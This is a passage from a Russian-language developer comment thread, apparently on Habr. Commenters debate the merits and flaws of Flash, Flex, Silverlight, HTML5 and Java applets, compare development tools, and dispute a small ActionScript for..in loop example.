с учётом физики», а скорее «копирование в буфер — сильная сторона flash, есть даже javascript-биндинги для copy/paste, использующие невидимые flash-элементы».", "Быть может я не прав, но вы немножко напутали в начале с флексом ;)\nFlex SDK не поставляется в виде плагина, Flex SDK есть Flex SDK, а в виде плагина можно скачать Flex (Flash) Builder — IDE для разработки Flex приложений (можно скачать и стэндалон версию, базирующуюся на эклипсе).\nСпасибо за отличную статью ;)", "Я на 100% согласен с Вами в вопросе почему на iPad нет flash'а.\nБез flash пользователи iPad и iPhone теряют множество бесплатных инструментов (которые они, правда, могут получить через appStore, но уже за отдельную плату).\nВ итоге получается «интернет-планшет», лишенный большей доли «интернет-интерактивности».", "помню чуть ли не года два-три назад уже был плагин, позволяющий переносить рисунок из Adobe Illustrator в разметку XAML, правда в контексте WPF. Но суть от этого не меняется — можно поручить дизайнеру нарисовать макет сайта/контрола/чеготоеще, а потом отдать прогеру сгенерированный XAML для дальнейшей прикрутки логики.", "Можно себя уж и блокнотом не мучать, скачать бесплатный FlashDevelop ;)", "> Почему-то если программист написал кривой JS, браузер не падает.\nЭто вы почему так решили? Поищите в гугле по словам «browser crash by javascript»", "Давно bat/sh можно в браузере исполнять? Среда исполнения, а особенно та, которая работает в браузере, обязана контролировать процесс исполнения. Вы замечали, что когда современный браузер встречает JS-код, который слишком долго синхронно исполняется, то он предлагает остановить исполнение. Я такого во флеше еще ни разу не видел. Все заканчивалось перезагрузкой браузера.", "> Давайте я напишу вам bat или sh файл который повесит вашу систему? Или съест большую часть ресурсов.\nИ часто, когда Вы пользуетесь bat/sh, Вы подвешиваете систему?\n> Да проблема именно в головах. Я давно не встречал ситуации когда flash плеер ел ресурсы из-за ошибок авторов плеера, а не разработчиков под него.\nЭто проблема не плеера, а дизайна технологии — что ошибку, приводящую к смерти браузера, сделать легко и тривиально, и никто не собирается это исправлять. Почему-то убить браузера javascript-ом легко и просто не получается.", "А кто делает вид? Я нет, Flex конкурент, просто давай-те согласимся, Flash делался не из расчета на программеров. Flex уже да, но опыта в данном плане у MS больше, вот и все. Сейчас Flex должен развиваться самостоятельно + возможности самого AS. А вот MS уже имеет .net платформу, может быстро добавить туда новую фичу, например linq, и наклепать поверх сотни надстроек, которые еще больше упростят работу. А так же, мы благодарим VS за ее возможности, Flex также стоит развивать и IDE. Меня правда Eclipse по скорости не устраивает :(", "Пока на стороне Flash всё, что требует повышенной близости к железу: clipboard, видео, аудио, продвинутая анимация, зачатки 3D и т.п., а также sockets. HTML5 отхапает немалую часть этого царства, но до его массовости ещё далеко, а Flash уже почти у всех есть.", "На практике апплеты уже встречаются редко. Чаще всего в околонаучных демках.", "Согласен, сплоховал. Сейчас подправлю. Всегда пожалуйста )", "Забыли упомянуть о скором выходе flash player 10.1.\nHTML5 та еще байда. IE6 уже сколько хоронят, ни как похоронить не могут. Такими тенденциями о валидном HTML5 в разных браузерах, остается только мечтать.", "А чего плохого было в апплетах? Технология просто обогнала своё время.", "Так нахрен миру второй Flash? Еще и проблемный, без реализации оригинальной под *nix? Или вы просто принципиально любите .NET?\nПро 50% я просто-напросто не верю. Ни у кого из моих знакомых разработчиков (молчу про пользователей, которым даже не интересно) нет silverlight. В принципе. А Флеш есть у всех.\nКстати, мой проект под Flex выглядит примерно как:\n1) main.swf\n2) main.mxml\n3) десяток файлов .as\n4) несколько медиа файлов в папочке media.\nВсе по существу. Плюс есть классные консольные утилиты. А вы чуть ниже мне привели типичную проектную мусорку.", "UFO just landed and posted this here", "Ну, значит мы об одном и том же говорим.", "> Это вы почему так решили? Поищите в гугле по словам «browser crash by javascript»\nПотому что я как бы на нем пишу каждый день. Чтобы обрушить браузер js-ом (особенно если это ФФ или Хром) надо очень сильно постараться. Обрушить браузер флэшом способен любой быдлобаннер.", "Это примерно как сделать так, что если ты не поставил точку с запятой, технология форматирует винчестер, а потом заявить — это все из-за тупых программистов, им же 100 раз говорили, ставь точку с запятой!", "Их завалила глючная и медленная реализация JVM от Ms.", "Я внимательно прочитал, но так и не понял — а что Вы этим постом хотели сказать?\nЧто все плохо и у технологии куча проблем? Ну это, кажется, любому разработчику очевидно. Посмотрите на php-программеров, хотя бы на их комментарии на php.net — там точно так же жалуются на совместимость версий, тормознутость, ограниченность. А если на верстальщиков обратить внимание, так это вообще сразу вешаться можно. Пачка различных браузеров и куча версий у каждого и везде те же проблемы с совместимостью, багами, хаками...\nЧто у языка есть неочевидные особенности? Ну да, модицифировать массив (ну или объект) во время прохода по нему циклом — такое не в каждом языке можно, в большинстве явно запрещено. Многие на это натыкаются, согласен.\nЧто есть альтернативы, но там тоже все плохо? А что делать — отрасль у нас такая, молодая, развивающаяся, динамичная. Она еще не скоро зачерствеет.", ">>>Так нахрен миру второй Flash?\nПризнаюсь, мне не понятны вопросы типа — Ну есть же флеш, зачем еще один плагин нужен? Вот не могу понять такие вопросы. Потому что еще один плагин нужен всем.\n1\\. Он нужен МС, потому что это бизнес, а МС, как это не странно коммерческая конторка, и делать деньги ее прямая задача.\n2\\. Он нужен армии разработчиков которые сегодня пишут на .Net. Для них это еще одна ниша где можно реализоваться. Для них это еще одна возможность получить работу.\n3\\. Он нужен флешерам. Как это не странно, но здоровая конкуренция идет на пользу всем, в том числе и флешу. Монополия — это болото, рынок — это развитие. Есть здоровый конкурент — флеш будет развиваться, а не почивать на лаврах.", "Sockets — принято (будет в html5)\nВидео-аудио — принято (будет в html5)\nClipboard — уже есть решение, использующее flash только в качестве graceful degradation\nЗачатки3D — на мой вкус 3Dflash ровно такая же экзотика, как какой-нибудь o3d, но плагин для последнего гораздо шустрее.\nПродвинутая анимация — а вот этот пункт можете пояснить, о чём речь?", "Думаю, что если iPad «пойдёт», то под него быстро наклепают инструментов на HTML5 (что порадует всех). А мы посмотрим, угадал ли Джобс с моментом отказа от Flash.", "Да-да, я тоже всей душой за HTML5 и быстрые JS-движки (IE 9, ау!!!). ;)\nНа Flash не писал, каюсь, но вроде он из коробки поддерживает векторную анимацию.", "Плюс огромный по тем меркам JRE.", "Я писал это не для разработчиков, а для людей которые пользуются flash.", "Поддерживаю. FlashDevelop отличная IDE, как для flex, так и для flash проектов. Для flash проектов вообще почти незаменим, поскольку в самой среде редактор для дизайнеров, а не программистов.\nЕще бы visual designer в него для flex проектов и FlashDevelop был бы вне конкуренции.", "Ерунду говорите. MS-jvm была быстрее, чем оригинальная от Sun.\nА вот архитектурно в апплетах косяков они (Sun) напороли, поэтому в java 6 апплеты были кардинально переделаны", "Canvas (правда, с использованием дополнительного файла excanvas.js) поддерживается в ie6+.\nСоответственно, рисование кривых Безье и прочее всякое доступны из js во всех распространённых браузерах, без доп. плагинов.\n(Или под «из коробки» имелась в виду «из коробки для разработчика»? Ну так скачать gwt-g2d.jar не так уж долго и сложно, по крайней мере меня это не травмировало.)", "Счас я вам скажу, что FlashDevelop написан на .net, и вы будете плеваться", "Флеш умеет взаимодействовать с js в обе стороны, что позволяет решить большинство вопросов взаимодействия с браузером и не флешевыми частями страницы", "Мы тоже делаем RIA-морду для нашей системы на Silverlight. Оказалось на удивление комфортно разрабатывать под него, с удобной IDE и большим количеством встроенных классов, которые помещаются в дистрибутив Silverlight размером 5 мегабайт и не утяжеляют конечный xap-файл.\nТак что для бизнес-приложений это вполне приемлемое решение.\nЖаль только, что Silverlight 4 в 2008-й студии не работает, требует 2010-ю.", "Excanvas — сильно медленно для продвинутой анимации. Увы.", "Такими темпами Адоба профукает становление сильверлайта. А потом начнется стандартное нытье про монополию и проч.", "да, вопервых в коде ошибка. там s переменной нет.", "> Почему все приложения написанные на flash такие тяжелые?\n1.28 мегабайт это скорее всего дебаг сборка, релиз у меня в куда более масштабных проектах никогда не выходила за 400-500кб. Тоже немало, но таки в 2,5 раза меньше заявленного.\n> А как можно так криво сделать?\nО приведенном примере я бы сказал, что в любом ЯП можно сделать код, который без глубокого понимания нюансов языка не объяснить. Использование ООП позволяет во-первых использовать все преимущества автодополнения и избегать таких неоднозначностей. Не говорю, что багов нет, но пример кривости на мой взгляд не совсем корректен.\nИз багов флеша, которые действительно таинственны, необъяснимы и мешают жить я бы выделил три: поведение флешек при установленном wmode=''transparent\", невозможность в ИЕ работать с подгружаемыми данными, не ложа их в кэш (ну тут особенность ИЕ, что актив-икс может работать только с файлами с диска, адоб бессилен), необходимость формировать задание на печать в пределах одного метода.", "Я знаю на чем он написан, но 1. я не вижу причин плеваться на .Net 2. это не важно. Совсем не важно. Важно как он работает.", "это всё делается без Flash, в современных браузерах.", "каждому своё. большие вещи без строгого разделения сущностей не построить.\nа для мелких вещей можно и на Silverlight всё в одном сделать.\nПросто на Silverlight удобно делать приложения и большого объёма.", ">Почему все приложения написанные на flash такие тяжелые?\nПо-моему в этой фразе пропущено слово «корявые».", "> «Flex SDK поставляется с плагином для Eclipse»\nнет, он поставляется сам по себе, без плагина под эклипс — иначе sdk был бы платным. его компилятор используется и для создания флешек без флексового фрейворка.", "В общем, во многих местах я бы поспорил, но влом. А что касается примера с объектами, то вам собсно никто не обещал какого-то порядка в следовании свойств. Во время первой итерации вы его меняете на b a c, вот почему вторая итерация хавает опять a. А почему порядок так меняется — это уже внутренности виртуальной машины. Сам код напоминает мне как разработчик сидит на суку и пилит его под собой, а потом удивляется почему это он упал с дерева.", "А что не понравилось в коде? То что 2 AS кривой?:\nВ 3 AS все предельно понятно:\n> `package\n> {\n> import flash.display.Sprite;\n>\n> public class Watch extends Sprite\n> {\n> var p:Object =\n> {\n> a: 1,\n> b: 1,\n> c: 1\n> }\n>\n> public function Watch()\n> {\n>\n> for (var prop:String in p)\n> {\n> trace(prop, p[prop]);\n> p['a'] = 2;\n> }\n> }\n> }\n> }\n>\n> * This source code was highlighted with Source Code Highlighter.`\nOutput:\nc 1\na 2\nb 1\nПруфлинк.", "> На нем и пишется добрая (скажем 89,26%) часть всех баннеров.\nХм, на самом деле я слышал о цифре в 89.27%... )", "Silverlight — это тоже .net (в настоящее .net Compact Framework 2.0, если быть совсем точным). В комментариях выше плюются, как видите.\nПри помощи FlashDevelop (ну и при помощи блокнота тоже, конечно) вы не сможете редактировать и импортировать в проект векторную графику — для этого нужна Flash IDE, т.к. формат файла проекта бинарный и закрытый. Поэтому говорить о том, что можно полноценно делать серьезные проекты — преувеличение: ни встроенные контролы, ни векторная графика недоступны.", "Это AS3. И вы изменили код.", "Флешплеер выводит «A script in this movie is causing flash player to run slowly» если скрипт выполняется больше 15 секунд (это значение можно поменять внутри swf-ки). Проблема в том, что, если выполнять его скажем по 14 секунд, делая небольшие интервалы (например через setTimeout) — то плеер не выведет предупреждения, но браузер всеравно будет загружен работой плеера фактически также.", "UFO just landed and posted this here", "Думаю, что даже в Adobe не знают ответа на этот вопрос.", "Если честно, то я жду платформы, в которой все компоненты будут родные — то есть примерно как html5 планируется. Тогда это будет гораздо лучше работать.\nВо флеше все равно есть ряд хитрых вещей, ломающих стандарты.\nНапример, TCP Socket с проверкой возможнсти подключения по 843 порту. Откуда они его выкопали? Скорее всего он будет закрыт у клиента. Кроме того, это ломает логику работы с доменными именами. А если у меня виртуальный хостинг? Какой мне socket-policy отдавать?\nХотя сейчас флеш может больше чем html+js.", "— Открываешь страницу с Java-аплетом и сразу идёшь готовить кофе.\n— Замороченная интеграция с веб-технологиями.", "> комментариях выше плюются, как видите.\nНа хабре сложно что-то написать, чтобы никто не плевался =) На вкус и цвет все фломастеры разные.\n> Поэтому говорить о том, что можно полноценно делать\n> серьезные проекты — преувеличение\nДля flash проектов его можно использовать не вместо, а в дополнение к Flash IDE, просто как удобный редактор кода. Есть еще варианты с swfmill, как способ уйти от Flash IDE, но я всё никак не выберусь посмотреть его, насколько он адекватен, потому не могу судить.\nДля Flex проектов — на данный момент один из оптимальных вариантов, как мне кажется. Как раз сейчас стою перед выбором. Flex Builder штука удобная, но цена у него не слишком гуманная, а триал беты заканчивается. Amethyst — вроде по фичам довольно неплох, но пока находится в стадии глубокой беты и немного бесит, когда шаг влево-вправо и что-то не работает. Если подскажете, что-то удобное и бесплатное или с гуманной ценой, то буду очень благодарен.", "> Лично по моему мнению среднее количество проклятий в сторону Adobe от flash разработчиков составляет порядка 50 в год.\n>\nТогда непонятно почему проклятья в сторону Adobe. Написать «правильный» код, на 2 AS и чтобы все работало так как нужно?\n3 AS в вашей интерпретации выведет:", "a 1\nc 1\na 2\nb 1", "Учитывая, что в январе вышла вторая бета, думаю, знают. Но вот когда точно, остается только гадать.", "Последний апплет, который я видел, был никсовский интерфейс интернет-магазина. И он работал не в пример быстрее флексовского интерфейса, который мы для дойчебанка писали.", "Как по мне, swfmill слишком низкоуровневый. Т.е., на нем можно сделать упаковку ресурсов, но если их много, это становится неинтересным.\nКак аналог Amethyst могу предложить Tofino: www.ensemble.com/products/tofino.shtml. Правда, я не делал в нем ничего сложнее, чем делал в FlashDevelop + haxe, но кажется работает :)", "маленькая неточность:\nК тому же наличие Flash может сильно ударить по доходам appStrore от казуальных играх и мини приложений.\n90% скачиваний из аппстора — бесплатные приложения, денег эпплу и так не приносят. «ударить по доходам» — расхожий миф.", "Так было. Попробуйте последние шестые апплеты, приятно удивитесь", "Давайте по порядку:\nа) Аргумент, что флеш «тяжелый» меня уже порядком задолбал — страницы сайтов с скриптами весят уже по 100-300 Кб, про видео с YouTube, которое смотрят большинство жалующихся, я уже и не говорю (обычно от 10 Mb). Кроме того, ваш размер в 1.5 Мб — явный перебор, возможно, связанный с Flex 4, который еще не вышел из беты + debug, а не release-версия. Обычный размер Flex-приложения — в пределах 500-1000 Кб.\nб) Тормознутость.\nВо-первых, совершенно правильно замечено про кривость рук отдельных разработчиков, которые хотят эффекты понавороченнее, и вставляют в баннеры, например, системы частиц и используют устаревшую AS2.\nВо-вторых, ряд фанатов использует на своих сайтах wmode=«transparent», что означает, что анимация флешки должна проигрываться с учетом слоев браузера (и его фона, кстати). Представляете, какая это нагрузка на систему рендеринга? Silverlight, думаю, такого не позволяет — а если бы и позволял, то тормозил бы не хуже. Отрубить это безобразие — и все залетает.\nВ-третьих: вас же не просят сделать на JS что-нибудь трехмерное? А на флеше — просят, вот и слава богу, что он не «завешивает» при этом браузер окончательно.\nв) Совместимость версий.\nИз этого фрагмента мне начинает казаться, что автор вообще не кодил под Flash. Ибо написать что-нибудь, что существенно зависит от изменения минорной версии флеша мне не удалось ни разу в жизни, а прогал я немало. В мажорных вводятся новые API и там, конечно, нужно за этим следить, например в 10-й версии ввели шейдеры на Pixel Bender. Но в остальном — полный бред, особенно касабельно каких-то изменений в релизах, выходящую каждую неделю.", "Вы правы, тут нужен костыль на Flash. Забыл совсем, ибо использую для этого библиотеку на Javascript, а она уже внутри использует для этого Flash для этих браузеров.", "Вы хотите сказать, что не сотрудничая с создателем ОС нельзя написать хорошую программу под нее?", "Спасибо! Tofino попробую.\nМне идея с swfmill понравилась еще тем, что текстовый формат описания ресурсов и некая атомарность ресурсов позволяет более детально контролировать изменения при использовании системы контроля версий. Поскольку «изменился fla файл» слишком глобальное изменение, и я не знаю, как быть, когда над проектом работает несколько человек, и каждый хочет добавить по картинке?", "Читаю на официальном сайте информацию о последней 64-разрядной сборке флеша: «The latest alpha refresh for was released on December 8, 2009.»\nВторая бета? Я что-то пропустил?", "а, б) Объясните это все пользователям никак не связанным с разработкой.\nв) Это ваше мнение. На мой взгляд количество написанного кода никак не связанно с обнаружением ошибок. Для поиска багтрекер Adobe открыт, посмотрите задачи с точным указанием версии, раз не верите мне.", "справедливости ради, в том же SL файл проекта с самого начала текстовый (xml), в том числе и обработанный в Expression Studio, так что проблемы с тем, что несколько человек одновременно работают над проектом, не возникает.\nВо Flex, как и во FlashDevelop, такая же ситуация, но нет векторной рисовалки.\nНу и если я правильно понял, очень скоро Flash и Flex Builder IDE соединят в одно — Flash Builder IDE", "UFO just landed and posted this here", "Не, это я спутал с 10.1, пардон.", "То есть «как нужно»? Есть документация к языку, в которой написано что в конструкции for..in свойства могут располагаться в любой последовательности. Слов о том, что в случае определения свойств в объекте внутри цикла возможны ошибки — нет.\nЯ всегда считал, что правильный код советуют писать сами разработчики — они знают как работает их технология, а по вашим словам человек который придет в разработку и не будет знать таких вещей, должен догадаться что это не правильно. К тому же вы говорите об этом куске кода, как отдельном. А если он внутри большого объема другого кода, понять что ошибка именно в этом, достаточно сложно.", "в ваших терминах flex — инструментарий. Технология — flash.\nСерьезное преимущество у flash перед javascript на данный момент одно — однородная реализация на всем спектре поддерживаемых браузеров/устройств.\nЕсли говорить о преимуществах флекса над GWT (т.е. javascript/html), то это более продвинутые виджеты, скиннинг, более продвинутые средства (для) дизайна — немаловажный фактор для армии дизайнеров, который, почему-то, программисты в упор не замечают и предпочитают обходить стороной. Опять же, преимущества флекса, собственно говоря, проистекают в первую очередь из преимуществ флеша как платформы — однородность.", "дело тут, увы, немного в другом.\nТенденция рынка такова, что звание «устройства для интернета» плавно начинает переходит от PC к мобильным девайсам, iPad — планируемый катализатор.\nЕсли же посмотреть, какой браузер самый популярный на мобильных платформах, то с удивлением можно заметить, что это браузеры на движке webkit, которые используются смартфонами Apple, Google, Nokia (!). К этому можно добавить растущую долю safari и google chrome на десктопах, а так же мозиллу, с некоторой натяжкой (все же движок браузера собственный).\nВ итоге, через год-два, мы будем иметь один и тот же движок на > 90% мобильных устройствах и порядка 50% десктопов. Имхо, вполне достаточно, что бы начать отказываться от флеш-плеера, как технологии, которая позволяет задумке дизайнера выглядеть одинаково на всех браузерах.", "В SL структура выглядит таким же способом. Только если несколько форм или usercontrol то отдельный файл разметки и кода. Но простите я указал, что разметка выше кода, это 3! проекта в одном, а ОДИН из них использует паттерн MVC, который подразумевает разбитие проекта на модель, вид и контроллер, даже во Flex.\n>Ни у кого из моих знакомых разработчиков (молчу про пользователей, которым даже не интересно) нет silverlight\nКак только человек попадет на сайт и его попросят, он установит. У меня не стоит Java, как и у тысячи людей, что ей от этого хуже? — Нет. Хотя вру Java у меня установлена ;)", "> Слов о том, что в случае определения свойств в объекте внутри цикла возможны ошибки — нет.\n>\nПрисваивать в цикле for..in — вообще нелогично. Как он прогоняет объект внутри себя — не кому не сказано. Выяснять — только эмпирическим путем. Разработчики в документации не обязаны объяснять каким образом идёт перебор (сначала в конец, с конца в начало или наобум). Предельно понятным будет перебор в цикле for. Либо ++, либо — Вообще только что проверил у себя на 2 версии языка — всё выводит правильно. Что вы делаете не так — мне неясно. Да, и у вас в коде — ошибка. Во второй версии языка нельзя в функции trace указывать передаваемые параметры через запятую — тут же вылезет error. Можно передавать только в массиве или как String. К примеру вот так:\ntrace([prop, p[prop]]); или trace(prop+\", \"+p[prop]);\nЗначит вставляли вы его либо с 3 AS, либо вбивали вручную.\nСкрин.\n> А если он внутри большого объема другого кода, понять что ошибка именно в этом, достаточно сложно.\n>\nНе соглашусь. Неужели код пишется так, чтобы оценить его результат можно было только тогда, когда уже написана не одна тысяча строк?", ">более продвинутые виджеты\nА можно поподробнее, чего такого есть особенного?\n>скиннинг\nИмеется в виду, возможность присвоить различные скины одному объекту?\nНеужели возможно нечто большее, чем возможно с css?\n>более продвинутые средства (для) дизайна\nЭто да, рисовать в flash ide приятно (cs1 я пользовал, кажися).\nЗато со стороны gwt — такая же армия html-верстальщиков и веб-технологов, так что спорно.\nПро однородность — да, понимаю о чём вы. Хотя как раз GWT компилирует переносимый (а где надо, раздельный) код, и особо париться об этом мне лично не приходилось.", "Я сразу сказал, что это AS3.\nА теперь возьмите изначальный код что я привел, и замените первую строку на\n`var p:Object = new Object()`\nи проверьте еще раз.", "Да сколько угодно раз, разницы не вижу в определении объекта. Об этом в хэлпе пишут. Что new Object(), что {}, что new Array(), что [].\nСкрин", "Ну и как я при заходе на соответствущий сайт поставлю Silverlight, если у меня не windoze?\nДа и признайте, что даже Java ставят очень и очень неохотно.", "Java никак не продвигается пользователям, много знают о JavaFX? MS выгодна, она как паровоз продвигает, тратит деньги на рекламу.", "A вот здесь на русском.", ">Silverlight, если у меня не windoze\nДа ладно, Flash в некоторых местах глючит и в маках и линуксе.\nА если я скажу проще, что MS пофигу, если не грубее, на линукс, и все что с ним связано и что с вас (1%), как с воды. Что вы скажете? Ничего. Потому что вас мало, потому что SL ориентирован на бизнес в первую очередь, а там все равно на клиентскую ось, нужно винда, будет винда. В конце концов, у нас проблем больше, SL по x64 нету и не планируется и есть некоторые неудобства с этим.\nЯ просто так и не понял к чему все крики про линукс, если пользователей!(не админов, не прогаммистов) под линукс, как кот наплакал.", "UFO just landed and posted this here", "а) У меня чаще спрашивают «будет ли работать SEO», а жалобы на размер я уже давно слышу только от гиков. От «пользователей, никак не связанных с разработкой» — ни разу не слышал. Другое дело, что это касается Flash-приложений, а не баннеров, но для баннеров я и не видел, что кто-то юзает Flex SDK.\nб) Практически то же, что и а. Видели бы вы, какие пользователи выбирают шаблоны на TemplateMonster — они подтормаживают даже у меня. И ничего, сайты с ними вполне себе делают, а другие — смотрят и говорят «Сделайте мне такой же».\nв) Я против того, что вы называете version hell, поскольку с этим разработчики сталкиваются редко. Это все равно что жаловаться, что у Firefox постоянно выходят минорные релизы, или что Windows качает апдейты — в них же тоже что-то меняется, разве не так? Просто система сложная, вот и все. Но средний разработчик, как правило, этих изменений даже не замечает, так же, как и средний пользователь.", "У меня складывается ощущение что вы мои комментарии вообще не читаете. Я вам 2 раза повторил что это Actionscript3 код, даже в статью изменения внес, а вы мне скриншоты с AS2 показываете. new Object() и {} как и new Array() и [] — разные объекты. Если бы я верил хэлпу, я бы таких ошибок не находил.\nПочитайте комментарии к этой записи раз не видите разницы: juick.com/develar/470233", "a) Возможно у нас разные пользователи. Есть пользователи с плохим интернетом, я стараюсь думать и о них тоже.\nб) Выбирают их не пользователи а создатели. Большинство пользователей вообще негативно относятся к flash сайтам.\nв) Есть такая категория пользователей как корпоративные пользователи, которые делятся на 2 под категории — у кого администратор обновляет flash плеер до последней актуальной версии вне зависимости минорная или нет, и другая, когда новую версию ставят в случае когда Adobe рассылает бюллетень безопасности с предупреждением о закрытии важной дырки. Вы сейчас говорите с позиции «я этого не видел — значит этого нет», так бывает, и поверьте если вы с этим не сталкивались это очень хорошо.", "Вносит изменения в swf файл для возможности работы с памятью напрямую.", "UFO just landed and posted this here", "Я понял в чем причина недопонимания.\n> Это AS3. И вы изменили код.\n>\nЭто относилось к первой части моего первого коммента. За это извиняюсь.\nА в 3 AS:", "> new Object() и {} как и new Array() и [] — разные объекты\nС этим да, согласен, а я всё про второй.\nМой любимый ctrl+enter.", "Да, изменение байт кода. Нет не умеет.", "Я рад что мы поняли друг друга :)", "Silverlight проектировался с учетом всех болячек и костылей Flash-а, а также производственных мозолей агонизирующих программистов на Flash, к которым ОП относится не понаслышке...\nУже сейчас возможности SL4 в разы больше еще только стандартизирующегося HTML5. И canvas, и video, и sockets, и web-services, и linq, и hardware acceleration, и динамическая подгрузка частей вашего приложения, и печать, и доступ к файловой системе, и isolated storage, и trusted приложения, и out-of-browser, и автоматическое обновление приложений — все это есть уже сейчас. Через годик mono подтянется, накроет оставшийся 1% рынка, и HTML5 в стадии рекомендации станет уже просто никому не нужным.\nКроме того, MS тесно сотрудничают с Apple, не удивлюсь, если Silverlight заработает на iPhone и iPad.\nМордочка Windows Mobile 7 уже на Silverlight написана (судя по слухам).\nC# 4.0 vs AS3/ECMAscript, CLR vs AVM/V8/etc., VS.NET vs FlashIDE/etc — тут Microsoft в отрыве лет на 5 от конкурентов.\nГлавная задача у Микрософта набрать критическую массу разработчиков под SL, чтобы началась повальная миграция на SL.\nИзвините, если оскорбил чьи-то чувства, это просто личный анализ ситуации.", "UFO just landed and posted this here", "Не за что :)", "Да, во истину:)\nНо все равно как-то странно. Если вы проверяли в CS4 под 10 плеер — то это одна история, под неё не смотрел.\nУ меня он четыре раза выводит трейс. AS 3.0 =)\nНи о каких: a 2, a 1, с 1 не идёт речи.\nВыводит: a 1, c 1, a 2, b 1.\nНиже после первого цикла протрейсить без присваивания, — все показывает правильно. c1, a2, b1. Почему такой порядок — уж не знаю.", "+1 по всем пунктам :)\nМы дошли до главного — все-таки у нас разные пользователи. Поэтому, пожалуйста, не говорите за всю Flash-плафторму и всех разработчиков — у всех ситуация очень и очень разная. Я прогаю под стандарт AS3 и работаю только с фичами Flash 9, и не испытываю никаких затруднений из тех, которые есть в статье (особенно касабельно совместимости), клиенты — довольны.\nТакого рода статьи создают негативный имидж всей технологии, в то время как она всего лишь плохо применима в вашей конкретной задаче и в ваших конкретных условиях.", "А в основе лежит всё тот же костыльный XAML... Впрочем в основе HTML5 тоже лежат костыли. Все эти XML, HTML и тд были разработаны для описания статических страниц.\nПоэтому особой революции SL не принесёт, хотя флеш и потеснит.", "Вот вы немножко ситуацию не понимаете. Это процент — активнейшие члены сообщества разработчиков. Завоевать их признание — читай, обеспечить технологию кучей приложений.\nА не будет приложений — не будет пользователей.\nНе будет пользователей? не будет profit.", "Вообще сама идеология GWT костыльна, транслировать java код в javascript код да еще и потом склеивать всё это скотчем... Это скорее некая утилита помогающая быстренько что-то наклепать Java программисту, не залезая в незнакомую ему технологию.", ">Это процент — активнейшие члены сообщества разработчиков\nзабыли дописать в конце, «под линукс» =)\nФлешеров много на линуксе сидит? Я вот сколько не спрашивал, все под win.\n>активнейшие члены сообщества разработчиков\nА те, кто деньги получает и делает коммерческие продукты, нет? :)", "> Если вы проверяли в CS4 под 10 плеер\nИменно.\n> Ни о каких: a 2, a 1, с 1 не идёт речи.\nТак выводит debug плеер\n> Выводит: a 1, c 1, a 2, b 1.\nТак обычный плеер", "Убийца флеша? )))))\nsites.google.com/site/qtqmlbrowserplugin/home", "Ну признайтесь, разработчики Flash не уделяют должного внимания и желания улучшить Flash плеер. Почитайте Скинера он очень хорошо об этом написал www.gskinner.com/blog/archives/2010/02/my_thoughts_on.html", "Ну XAML никто не заставляет использовать.\nМожно по старинке — в конструкторе весь интерфейс кодом налепить :) Но это как бы уже немодно.\nСейчас модно, когда дизайнер свой файл мусолит, а разраб — свой...\nP.S. к XML у меня только одна притензия — в печенках сидит эскейпинг типо > < &...", "Холиварить не буду, просто мысли вслух:\n1) практически у всех хабраюзеров стоят резалки флеша\n2) флеш жутко тормозит и этот факт признает автор\n3) также он признает, что разрабатывать flash приложения сложно из-за плохого IDE\n4) в итоге все проблемы флеша списали на головы разработчиков\nВ то же время Silverlight имеет хорошую IDE и маленькую распростаненность. Почему то и первый и второй пункт ставят в «минусы» данной технологии. Значит <i<очень маленькая распространенность flex должна быть какбы еще большим минусом. В то же время разработка приложений в блокноте также относят к «плюсам» флеша, но ведь и .net приложения можно в нем писать, вопрос — зачем?\nКак-то вот опять двойными стандартами пахнет...", "1) Тут своеобразные люди.\n2) Мак и частично линукс или при кривом написании. Взгляните на плеер youtube или работы с thefwa.com там работы написаны хорошо.\n3) Есть FDT, Flash Develop и IDEA. Плохая IDE во Flash, во Flex IDE на базе Eclipse — так что к нему это не относится.\n4) Это не так. Во многом технология хорошая и полезная, я лишь описал те проблемы о которых замечают пользователи.\nЕсли вы считаете что flash плеер плох — удалите его совсем, если вы сможете без него активно серфить по интернету без желания установить, тогда стоит говорить что технология не нужна и плоха.\n> В то же время разработка приложений в блокноте также относят к «плюсам» флешаВ то же время разработка приложений в блокноте также относят к «плюсам» флеша\nВозможность разработки.", "> А можно поподробнее, чего такого есть особенного?\nэто как бы больше с программной точки зрения, причем совместно с возможностью скиннинга\n> Имеется в виду, возможность присвоить различные скины одному объекту?\n> Неужели возможно нечто большее, чем возможно с css?\nскины во флексе — программный кусок кода. Можно сделать вообще все, что душа пожелает, при этом логика работы контролов от скинов отделена. Аналогом в HTML была бы отрисовка внешнего вида компонентов с помощью canvas api, но я не уверен, что это есть в каком либо js тулките. Аналог CSS для флекса тоже имеется, позволяет скинить скины (простите за каламбур) — т.е., например, передавать параметры в свой кастомный скин.\n> Это да, рисовать в flash ide приятно (cs1 я пользовал, кажися).\n> Зато со стороны gwt — такая же армия html-верстальщиков и веб-технологов, так что спорно.\nflash ide — немного не из той оперы. Аналогов «флешевым мультикам» в мире JS/HTML я пока не вижу, SVG это совсем не то.\nЧто бы не было путаницы — есть flash ide, (упрощая) — инструмент для дизайнеров, позволяющий «рисовать» векторные «мультики» и прикручивать скрипты на события/фреймы. И есть flash builder, бывший flex builder, который является полноценной средой разработки (на базе эклипса) для программистов. Оба эти инструмента на выходе дают swf файл, проигрываемый флеш плеером, но предназначение инструментов принципиально разное.\nДля флекса так же есть такая штука, пока что в бете, flash catalyst, которая позволяет в буквальном смысле нарисовать дизайн в фотошопе или иллюстраторе и перевести в работающий код, не прибегая к услугам программиста/технолога/etc. Подразумевается, что это упростит процесс разработки сайта/приложения, дизайнер рисует и генерирует костяк с работающим gui, программист дописывает логику и внутренности.", "Вы пытаетесь сказать, что я не получаю денег и не делаю коммерческих продуктов? или что? :-D\nЯ пишу на Флексе под линуксом. FlexBuilder основан на Eclipse, что делает его кроссплатформенным. Разработчики и аниматоры на Флеше — это не одни и те же люди, уверяю вас.", "В сильверлайте есть возможность рендерить плагин с прозрачностью еще с первой версии msdn.microsoft.com/en-us/library/cc838156(VS.95).aspx\nЕстественно производительность падает с этой включенной фичей, но на маках сильверлайт все равно так не тормозит. Ну и производительность сильверлайта в целом где то на 30 -50 процентов лучше. К примеру вот тест человек проводит www.shinedraw.com/mathematics/flash-vs-silverlight-fps-meter-stress-test/ да и в инете полно других примеров.", "Нет, вы просто утверждаете, что на линуксе элита :D. Так ставить вопрос вообще не корректно. Мы с вами давайте поговорим за большинство, раз вы любите такую тему, разработчиков под Flex/Flash больше на linux или win?", "А при чем тут вообще Silverlight?!", "UFO just landed and posted this here", "Почитал. Статья суперская. Особенно мне понравилось вот это вот (приведу без перевода):\n«Yes, Flash player crashes. Yes, its performance could be better...\n[But] Try building a player that runs a huge range of dynamic content written on a variety of tools 